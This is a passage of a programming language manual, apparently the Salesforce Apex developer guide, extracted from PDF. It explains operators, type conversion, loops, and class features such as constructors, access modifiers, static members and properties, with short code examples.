Unary negation, type cast and object creation! -x +x (type) new2
45
Understanding Operator PrecedenceData Types and Variables
DescriptionOperatorsPrecedence
Multiplication and division* /3
Addition and subtraction+ -4
Greater-than and less-than comparisons, reference tests< <= > >= instanceof5
Comparisons: equal and not-equal== !=6
Logical AND&&7
Logical OR||8
Assignment operators= += -= *= /= &=9
Using Comments
Both single and multiline comments are supported in Apex code:
•To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser
•To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */
Assignment Statements
An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include:
•A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];
•A de-referenced list element. For example:
ints[0] = 1;
accts[0].Name = 'Acme';
•An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
// IDs cannot be set prior to an insert call
46
Using CommentsData Types and Variables
// a.Id = '00300000003T2PGAA0';
// Instead, insert the record. The system automatically assigns it an ID.
insert a;
// Fields also must be writable for the context user
// a.CreatedDate = System.today(); This code is invalid because
// createdDate is read-only!
// Since the account a has been inserted, it is now possible to
// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);
// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';
Assignment is always done by reference. For example:
Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');
Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');
In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression Operators
on page 40.
Understanding Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be
implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted,
without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion.
The following is the hierarchy for numbers, from lowest to highest:
1. Integer
2. Long
3. Double
4. Decimal
47
Understanding Rules of ConversionData Types and Variables
Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the
higher type of number.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and
implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
•IDs can always be assigned to Strings.
•Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime
exception is thrown.
•The instanceOf keyword can always be used to test whether a string is an ID.
Additional Considerations for Data Types
Data Types of Numeric Values
Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example,
the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric value (123), which is
implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds.
However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this
case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this
example: Long d = 2147483648L;.
Overflow of Data Type Values
Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow. For example,
Integer i = 2147483647 + 1; yields a value of –2147483648 because 2147483647 is the maximum value for an Integer,
so adding one to it wraps the value around to the minimum negative value for Integers, –2147483648.
If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect
because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear
= 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side
are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid
this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the
results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no
overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long
numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);
Loss of Fractions in Divisions
When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit
conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer
and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double
or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0
and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.
48
Understanding Rules of ConversionData Types and Variables
CHAPTER 5 Control Flow Statements
Apex provides statements that control the flow of code execution.
In this chapter ...
Statements are generally executed line by line, in the order they appear. With control flow statements,
you can cause Apex code to execute based on a certain condition or you can have a block of code
execute repeatedly. This section describes these control flow statements: if-else statements and loops.
•Conditional (If-Else)
Statements
•Loops
49
Conditional (If-Else) Statements
The conditional statement in Apex works similarly to Java:
if ([Boolean_condition])
// Statement 1
else
// Statement 2
The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
}else {
sign = -1;
}
}
Repeated else if statements are also allowed. For example:
if (place == 1) {
medal_color = 'gold';
}else if (place == 2) {
medal_color = 'silver';
}else if (place == 3) {
medal_color = 'bronze';
}else {
medal_color = null;
}
Loops
Apex supports the following five types of procedural loops:
•do {statement}while (Boolean_condition);
•while (Boolean_condition)statement;
•for (initialization;Boolean_exit_condition;increment)statement;
•for (variable :array_or_set)statement;
•for (variable : [inline_soql_query]) statement;
All loops allow for loop control structures:
•break; exits the entire loop
•continue; skips to the next iteration of the loop
50
Conditional (If-Else) StatementsControl Flow Statements
Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do {
code_block
}while (condition);
Note: Curly braces ({}) are always required around a code_block.
As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently,
the code block always runs at least once.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
}while (count < 11);
While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) {
code_block
}
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is
possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
while (count < 11) {
System.debug(count);
count++;
}
For Loops
Apex supports three variations of the for loop:
•The traditional for loop:
for (init_stmt;exit_condition;increment_stmt) {
code_block
}
51
Do-While LoopsControl Flow Statements
•The list or set iteration for loop:
for (variable :list_or_set) {
code_block
}
where variable must be of the same primitive or sObject type as list_or_set.
•The SOQL for loop:
for (variable : [soql_query]) {
code_block
}
or
for (variable_list : [soql_query]) {
code_block
}
Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Each is discussed further in the sections that follow.
Traditional For Loops
The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt;exit_condition;increment_stmt) {
code_block
}
When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is
included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}
52
For LoopsControl Flow Statements
List or Set Iteration for Loops
The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable :list_or_set) {
code_block
}
where variable must be of the same primitive or sObject type as list_or_set.
When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and
runs the code_block for each value.
For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
for (Integer i : myInts) {
System.debug(i);
}
Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported
and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.
Adding Elements During Iteration
To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original
after you finish iterating the collection.
Removing Elements During Iteration
To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements
you wish to remove to a temporary list and remove them after you finish iterating the collection.
Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications.
To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you
finish iterating the collection.
53
For LoopsControl Flow Statements
CHAPTER 6 Classes, Objects, and Interfaces
This chapter covers classes and interfaces in Apex. It describes defining classes, instantiating them, and extending them. Interfaces, Apex
class versions, properties, and other related class concepts are also described.
In most cases, the class concepts described here are modeled on their counterparts in Java, and can be quickly understood by those
who are familiar with them.
IN THIS SECTION:
1. Understanding Classes
2. Understanding Interfaces
3. Keywords
4. Annotations
5. Classes and Casting
6. Differences Between Apex Classes and Java Classes
7. Class Definition Creation
8. Namespace Prefix
9. Apex Code Versions
10. Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
11. Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.
Understanding Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a
class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase
order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a
PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as
important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a
customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type.
Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods
are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.
54
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html
In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database
operations. See Triggers.
IN THIS SECTION:
1. Apex Class Definition
2. Class Variables
3. Class Methods
4. Using Constructors
5. Access Modifiers
6. Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have
instance methods, member variables, and initialization code, which have no modifier, and local variables.
7. Apex Properties
8. Extending a Class
You can extend a class to provide more specialized behavior.
9. Extended Class Example
Apex Class Definition
In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class.
You can only have inner classes one level deep. For example:
public class myOuterClass {
// Additional myOuterClass code here
class myInnerClass {
// myInnerClass code here
}
}
To define a class, specify the following:
1. Access modifiers:
•You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
•You do not have to use an access modifier in the declaration of an inner class.
2. Optional definition modifiers (such as virtual, abstract, and so on)
3. Required: The keyword class followed by the name of the class
4. Optional extensions and/or implementations
Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see
Object Reference for Salesforce and Force.com.
55
Apex Class DefinitionClasses, Objects, and Interfaces
Use the following syntax for defining classes:
private |public |global
[virtual |abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
// The body of the class
}
•The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default
access for inner classes—that is, if you don't specify an access modifier for an inner class, it is considered private. This keyword
can only be used with inner classes.
•The public access modifier declares that this class is visible in your application or namespace.
•The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods defined
with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer,
top-level class must also be defined as global.
•The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see
Using the with sharing or without sharing Keywords on page 80.
•The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the
override keyword unless the class has been defined as virtual.
•The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature
declared and no body defined.
Note:
•You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released package
version.
•If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have
an implementation.
•You cannot override a public or protected virtual method of a global class of an installed managed package.
For more information about managed packages, see What is a Package? on page 599.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple
inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Understanding Interfaces
on page 73.
For more information about method and variable access modifiers, see Access Modifiers on page 61.
SEE ALSO:
Documentation Typographical Conventions
Salesforce Help: Manage Apex Classes
Salesforce Help: Developer Console Functionality
Class Variables
To declare a variable, specify the following:
•Optional: Modifiers, such as public or final, as well as static.
•Required: The data type of the variable, such as String or Boolean.
56
Class VariablesClasses, Objects, and Interfaces
•Required: The name of the variable.
•Optional: The value of the variable.
Use the following syntax when defining a variable:
[public |private |protected |global] [final] [static]data_type variable_name
[= value]
For example:
private static final Integer MY_INT;
private final Integer i = 1;
Class Methods
To define a method, specify the following:
•Optional: Modifiers, such as public or protected.
•Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a
value.
•Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses
(). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
•Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is
contained here.
Use the following syntax when defining a method:
[public |private |protected |global] [override] [static]data_type method_name
(input parameters)
{
// The body of the method
}
Note: You can use override to override methods only in classes that have been defined as virtual or abstract.
For example:
public static Integer getInt() {
return MY_INT;
}
As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.
User-defined methods:
•Can be used anywhere that system methods are used.
•Can be recursive.
•Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex DML Statements on page 606.
•Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so
forward declarations are not needed.
•Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter
and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects
the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type
coercion rules. For more information on data conversion, see Understanding Rules of Conversion on page 47.
57
Class MethodsClasses, Objects, and Interfaces
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.
•When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements
in Apex code. For example:
System.debug('Here is a note for the log.');
•Can have statements where the return values are run as a statement if their results are not assigned to another variable. This rule is
the same in Java.
Passing Method Arguments by Value
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This fact means that when the method
returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another
object. However, the values of the object's fields can be changed in the method.
The following are examples of passing primitive and non-primitive data type arguments into methods.
Example: Passing Primitive Data Type Arguments
This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage
method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another
method, which modifies the value of this String. However, since String is a primitive type, it is passed by value, and when the method
returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample {
public static void debugStatusMessage() {
String msg = 'Original value';
processString(msg);
// The value of the msg variable didn't
// change; it is still the old value.
System.assertEquals(msg, 'Original value');
}
public static void processString(String s) {
s='Modified value';
}
}
Example: Passing Non-Primitive Data Type Arguments
This example shows how a List argument is passed by value into another method and can be modified. It also shows that the List
argument can’t be modified to point to another List object. First, the createTemperatureHistory method creates a variable,
fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded
temperature values. When the method returns, an assert verifies that the contents of the original List variable has changed and now
contains five values. Next, the example creates a second List variable, createMe, and passes it to another method. The called method
assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original
createMe variable doesn’t point to the new List but still points to the original List, which is empty. An assert verifies that createMe
contains no values.
public class PassNonPrimitiveTypeExample {
58
Class MethodsClasses, Objects, and Interfaces
public static void createTemperatureHistory() {
List<Integer> fillMe = new List<Integer>();
reference(fillMe);
// The list is modified and contains five items
// as expected.
System.assertEquals(fillMe.size(),5);
List<Integer> createMe = new List<Integer>();
referenceNew(createMe);
// The list is not modified because it still points
// to the original list, not the new list
// that the method created.
System.assertEquals(createMe.size(),0);
}
public static void reference(List<Integer> m) {
// Add rounded temperatures for the last five days.
m.add(70);
m.add(68);
m.add(75);
m.add(80);
m.add(82);
}
public static void referenceNew(List<Integer> m) {
// Assign argument to a new List of
// five temperature values.
m=new List<Integer>{55, 59, 62, 60, 63};
}
}
Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every
class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and
it is not inherited by the object created from it.
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that
constructor. For example, using the following class:
public class TestObject {
// The no argument constructor
public TestObject() {
// more code here
}
}
A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();
59
Using ConstructorsClasses, Objects, and Interfaces
If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments. If you
create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one in your code.
Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor. You must create
your own.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters.
The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument.
It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 {
private static final Integer DEFAULT_SIZE = 10;
Integer size;
//Constructor with no arguments
public TestObject2() {
this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
}
// Constructor with one argument
public TestObject2(Integer ObjectSize) {
size = ObjectSize;
}
}
New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();
Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are
possible:
public class Leads {
// First a no-argument constructor
public Leads () {}
// A constructor with one argument
public Leads (Boolean call) {}
// A constructor with two arguments
public Leads (String email, Boolean call) {}
// Though this constructor has the same arguments as the
// one above, they are in a different order, so this is legal
public Leads (Boolean call, String email) {}
}
When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names,
such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that
class or subclass.
60
Using ConstructorsClasses, Objects, and Interfaces
Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables.
While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example,
declaring a method as global in an anonymous block does not enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Class Definition on page 55.
Note: Interface methods have no access modifiers. They are always global. For more information, see Understanding Interfaces
on page 73.
By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method or variable
as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the
level of visibility by using the following access modifiers:
private
This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do
not specify an access modifier, the method or variable is private.
protected
This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the
defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more
permissive than the default (private) setting, just like Java.
public
This means the method or variable can be used by any Apex in this application or namespace.
Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications,
to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to
use the global access modifier.
global
This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same
application. This access modifier should be used for any method that needs to be referenced outside of the application, either in
the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains
it as global.
Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to
maintain.
To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global]declaration
For example:
private string s1 = '1';
public string gets1() {
return this.s1;
}
Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have instance
methods, member variables, and initialization code, which have no modifier, and local variables.
61
Access ModifiersClasses, Objects, and Interfaces
Characteristics
Static methods, variables, and initialization code have these characteristics.
•They’re associated with a class.
•They’re allowed only in outer classes.
•They’re initialized only when a class is loaded.
•They aren’t transmitted as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code have these characteristics.
•They’re associated with a particular object.
•They have no definition modifier.
•They’re created with every object instantiated from the class in which they’re declared.
Local variables have these characteristics.
•They’re associated with the block of code in which they’re declared.
•They must be initialized before they’re used.
The following example shows a local variable whose scope is the duration of the if code block.
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}
Using Static Methods and Variables
You can use static methods and variables only with outer classes. Inner classes have no static methods or variables. A static method or
variable doesn’t require an instance of the class in order to run.
Before an object of a class is created, all static member variables in a class are initialized, and all static initialization code blocks are
executed. These items are handled in the order in which they appear in the class.
A static method is used as a utility method, and it never depends on the value of an instance member variable. Because a static method
is only associated with a class, it can’t access the instance member variable values of its class.
A static variable is static only within the scope of the Apex transaction. It’s not static across the server or the entire organization. The
value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an
Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.
To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of
the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating
static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.
Suppose that you had the following class.
public class P {
public static boolean firstRun = true;
}
A trigger that uses this class could then selectively fail the first run of the trigger.
trigger T1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
62
Static and Instance Methods, Variables, and Initialization
Code
Classes, Objects, and Interfaces
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}
}
}
A static variable defined in a trigger doesn’t retain its value between different trigger contexts within the same transaction, such as
between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class
member variables and check their static values.
A class static variable can’t be accessed through an instance of that class. If class MyClass has a static variable myStaticVariable,
and myClassInstance is an instance of MyClass, myClassInstance.myStaticVariable is not a legal expression.
The same is true for instance methods. If myStaticMethod() is a static method, myClassInstance.myStaticMethod()
is not legal. Instead, refer to those static identifiers using the class: MyClass.myStaticVariable and
MyClass.myStaticMethod().
Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods
and variables on the class of the same name. For example, this method works if you comment out the String line. But if the String
line is included the method doesn’t compile, because Salesforce reports that the method doesn’t exist or has an incorrect signature.
public static void method() {
String Database = '';
Database.insert(new Account());
}
An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance member
variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
Note: In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to
process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk
API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger
invocations for the same HTTP request.
Using Instance Methods and Variables
Instance methods and member variables are used by an instance of a class, that is, by an object. An instance member variable is declared
inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.
Suppose that you want to have a class that collects two-dimensional points and plots them on a graph. The following skeleton class
uses member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter {
// This inner class manages the points
class Point {
Double x;
Double y;
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
63
Static and Instance Methods, Variables, and Initialization
Code
Classes, Objects, and Interfaces
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {
return y;
}
}
List<Point> points = new List<Point>();
public void plot(Double x, Double y) {
points.add(new Point(x, y));
}
// The following method takes the list of points and does something with them
public void render() {
}
}
Using Initialization Code
Instance initialization code is a block of code in the following form that is defined in a class.
{
//code body
}
The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before
the constructor.
If you don’t want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables.
In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static
initialization block runs only once, regardless of how many times you access the class that contains it.
Static initialization code is a block of code preceded with the keyword static.
static {
//code body
}
Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code
blocks are executed in the order in which they appear in the file, just as they are in Java.
You can use static initialization code to initialize static final variables and to declare information that is static, such as a map of values.
For example:
public class MyClass {
class RGB {
64
Static and Instance Methods, Variables, and Initialization
Code
Classes, Objects, and Interfaces
Integer red;
Integer green;
Integer blue;
RGB(Integer red, Integer green, Integer blue) {
this.red = red;
this.green = green;
this.blue = blue;
}
}
static Map<String, RGB> colorMap = new Map<String, RGB>();
static {
colorMap.put('red',new RGB(255, 0, 0));
colorMap.put('cyan',new RGB(0, 255, 255));
colorMap.put('magenta',new RGB(255, 0, 255));
}
}
Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is accessed or
returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action
when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other
source, such as another class.
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
•The code in a get accessor executes when the property is read.
•The code in a set accessor executes when the property is assigned a new value.
A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with
both accessors is read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {
// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}
Where:
65
Apex PropertiesClasses, Objects, and Interfaces
•access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 61.
•return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on
page 27.
•property_name is the name of the property
For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}
The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5; // Calls set accessor
System.assert(bp.prop == 5); // Calls get accessor
Note the following:
•The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is
the same as reading the value of the variable.
•The get accessor must end in a return statement.
•We recommend that your get accessor should not change the state of the object that it is defined on.
•The set accessor is similar to a method whose return type is void.
•When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
•When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the
property.
•Properties cannot be defined on interface.
•Apex properties are based on their counterparts in C#, with the following differences:
–Properties provide storage for values directly. You do not need to create supporting members for storing values.
–It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 66.
Using Automatic Properties
Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks
empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain.
They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty {
public integer MyReadOnlyProp { get; }
public double MyReadWriteProp { get; set; }
public string MyWriteOnlyProp { set; }
}
66
Apex PropertiesClasses, Objects, and Interfaces
The following code segment exercises these properties:
AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5; // This produces a compile error: not writable
ap.MyReadWriteProp = 5; // No error
System.assert(MyWriteOnlyProp == 5); // This produces a compile error: not readable
Using Static Properties
When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do
not have access to non-static member variables defined in the class. The following example creates a class with both static and instance
properties:
public class StaticProperty {
public static integer StaticMember;
public integer NonStaticMember;
public static integer MyGoodStaticProp {
get{return MyGoodStaticProp;}
}
// The following produces a system error
// public static integer MyBadStaticProp { return NonStaticMember; }
public integer MyGoodNonStaticProp {
get{return NonStaticMember;}
}
}
The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;
// The following does not produce an error
StaticProperty.MyGoodStaticProp = 5;
Using Access Modifiers on Property Accessors
Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides
the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on
the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global.
The following class definition shows additional examples:
global virtual class PropertyVisibility {
// X is private for read and public for write
public integer X { private get; set; }
// Y can be globally read but only written within a class
global integer Y { get; public set; }
// Z can be read within the class but only subclasses can set it
public integer Z { get; protected set; }
}
67
Apex PropertiesClasses, Objects, and Interfaces
Extending a Class
You can extend a class to provide more specialized behavior.
A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can
